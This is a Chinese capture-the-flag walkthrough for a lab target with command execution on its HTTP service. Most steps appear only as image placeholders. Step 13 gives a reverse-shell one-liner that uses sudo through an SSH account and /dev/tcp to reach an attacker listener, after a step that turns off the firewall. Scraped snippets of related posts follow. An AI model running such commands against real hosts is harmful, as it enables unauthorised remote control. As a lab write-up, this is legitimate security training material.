ctf--http服务--命令执行

joker-vip joker-vip     2023-04-22     540

关键词:

开门见山


 

1. 扫描靶机ip,发现PCS 172.18.5.1

 技术图片

 

 

2. 用nmap扫描靶机开放服务和服务版本

 技术图片

 

 

3. 再扫描靶机全部信息

 技术图片

 

 技术图片

 

 

4. 用nikto工具扫描http服务的敏感信息

 技术图片

 

 

5. 打开浏览器查看发现的网页

 技术图片

 

 

6. 查看临时缓冲目录

 技术图片

 

 

7. 查看home目录,挖掘用户信息

 技术图片

 

 

8. 查看具体用户的目录

 技术图片

 

 

9. 查看靶机的信息

 技术图片

 

 

10. 利用ssh命令,执行root权限命令

 技术图片

 

 

11. 用bill执行root权限关闭防火墙

 技术图片

 

 

12. 攻击机启动监听

 技术图片

 

 

 

13. 靶机反弹shell,使用命令:ssh bill@localhost sudo bash -i >& /dev/tcp/172.18.5.251/4444 0>& 1

 技术图片

 

 

14. 攻击机终端收到反馈shell

 技术图片

 

 

15. 还有一种shell反弹

 技术图片

 

 

16. 在 /root目录下查找flag文件并查看

 技术图片

 

 


 

ctf--http服务--put上传漏洞

...ip,发现PCS192.168.31.48   2.用nmap扫描靶机的开放服务和版本信息   3.再扫描全部信息     4.用nikto探测靶机http服务敏感信息   5.再用dirb扫描http敏感目录   6.使用OWASP-ZAP... 查看详情

ctf--http服务--路径遍历(拿到www-data用户权限)

...机ip,发现PCS172.18.4.20   2.用nmap扫描靶机开放服务及版本   3.再扫描靶机的全部信息     4.用nikto工具探测http服务敏感信息     5.用dirb工具探测http服务敏感信息  &nb... 查看详情

ctf--http服务--路径遍历(提升root用户权限)

...否可以密码复用   11.用nmap扫描靶机,发现ssh服务开启   12.使用ssh连接zico用户   13.尝试提权,失败   14.利用zip提权,成功到root权限   1 查看详情

通过 ssh 在远程服务器上执行命令

】通过ssh在远程服务器上执行命令【英文标题】:Executecommandonremoteserverviassh【发布时间】:2013-11-2213:58:34【问题描述】:我正在尝试通过本地服务器上的ssh命令在远程linux服务器上执行命令,如下所示:sshmyremoteserver\'typettisql\'... 查看详情

使用 Maven 在远程服务器上执行菜单驱动的命令

】使用Maven在远程服务器上执行菜单驱动的命令【英文标题】:ExecutemenudrivencommandsonremoteserverusingMaven【发布时间】:2013-01-1702:50:54【问题描述】:我对使用Maven使用一些sshexec插件在远程服务器上执行命令进行了一些研究。但让我... 查看详情

命令行登录ftp下,如何远程执行服务器上的可执行文件?不是在本机执行,而是远程执行,命令是啥呢。求高

...)。说ftp不能执行是对ftp协议本身不够了解,其实用过ftp服务器端软件(例如serv-u)的人一定注意过,在设置用户权限的时候有一项是“执行”,如果这一项选中,那么本用户就拥有了执行远程服务器程序的权限。然而使用很多ft... 查看详情

shell中怎么批量执行命令。

我的意思是怎么在远程的多台服务器执行命令。比如向多台服务器传送文件,运行脚本等操作。将要执行的命令全部写入一个文件(俗称脚本文件),然后执行脚本文件即可。注意:假设脚本文件名为test.sh(后缀不必要,只是... 查看详情

无法从客户端执行服务器命令

】无法从客户端执行服务器命令【英文标题】:Can\'texecuteservercommandfromclient【发布时间】:2017-01-2416:01:30【问题描述】:我试图在玩家点击屏幕时生成子弹。当我在配对中创建服务器时,我可以生成子弹,我也可以在客户端看到... 查看详情

在多个linux服务器上执行一个命令

把服务器的ip地址写到list.txt中192.168.37.3192.168.37.4192.168.37.6然后运行foriin`catlist.txt`;dossh[email protected]$i‘bashcommad‘;done把user替换成实际登录的用户,‘bashcommand’替换成实际要执行的命令 查看详情

shell实现交互式在多台服务器批量执行命令

...入指定字符串,实现交互通信。注:这里的ip.txt文件存储服务器ip注:执行方式:*.shcommand3.此脚本目的是实现将目标服务器切换为root用户并启动程序自身启动脚本4.将上一个脚本发送到指定服务器并执行 查看详情

psexec执行命令原理分析

ipc$连接释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务本文出自“Sanr”博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1872982 查看详情

wcf-多个knowtype命令-执行的正确模式(代码片段)

我有一个WCF服务用于执行客户端的一些命令。我有一个基类,AbstractCommand和一些定义具体命令的派生类。WCFWeb服务具有单个方法voidExecute(AbstractCommand命令)。它可以通过[KnownType]属性接受具体命令(从AbstractCommand派生的类)。... 查看详情

如何在远程服务器上运行powershell命令

...然PowerShell是一个本地管理工具,但是它也用于管理远程服务器。事实上,管理员可以针对大量的服务器创建PowerShell脚本来执行管理任务。Invoke-Command和New-PSSession都是在远程服务器中PowerShell的执行命令。Invoke-Command如果你只需要... 查看详情

无密码远程登录到远程服务器并执行命令并检索详细信息

】无密码远程登录到远程服务器并执行命令并检索详细信息【英文标题】:Passwordlesstelnettoremoteserverandexecutecommandsandretrievethedetails【发布时间】:2018-12-3015:44:34【问题描述】:目前在命令行使用telnet登录服务器,无需密码:telnet-... 查看详情

使用shell脚本在远程服务器上执行命令[重复]

】使用shell脚本在远程服务器上执行命令[重复]【英文标题】:executecommandsonremoteserverusingshellscript[duplicate]【发布时间】:2017-09-2617:42:59【问题描述】:我有一个部署脚本位于构建服务器上。每次我需要生成构建时,我都需要使用... 查看详情

redis是如何执行的

...Redis相关的通讯协议,再用socket连接的方式将内容发送给服务器端,服务器端在接收到相关内容之后,先将内容转化为具体的执行命令,再判断用户授权信息和其他相关信息,当验证通过之后会执行最终命令,命令执行完之后,... 查看详情

java中通过jsch来连接远程服务器执行linux命令

有时候你可能需要通过代码来控制执行linux命令实现某些功能。针对这类问题可以使用JSCH来实现,具体代码如下:publicclassCogradientImgFileManager{privatestaticfinalLoggerlog=LoggerFactory.getLogger(CogradientImgFileManager.class);privatestaticChannelExec 查看详情

命令执行漏洞

...:命令执行漏洞简介用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码&... 查看详情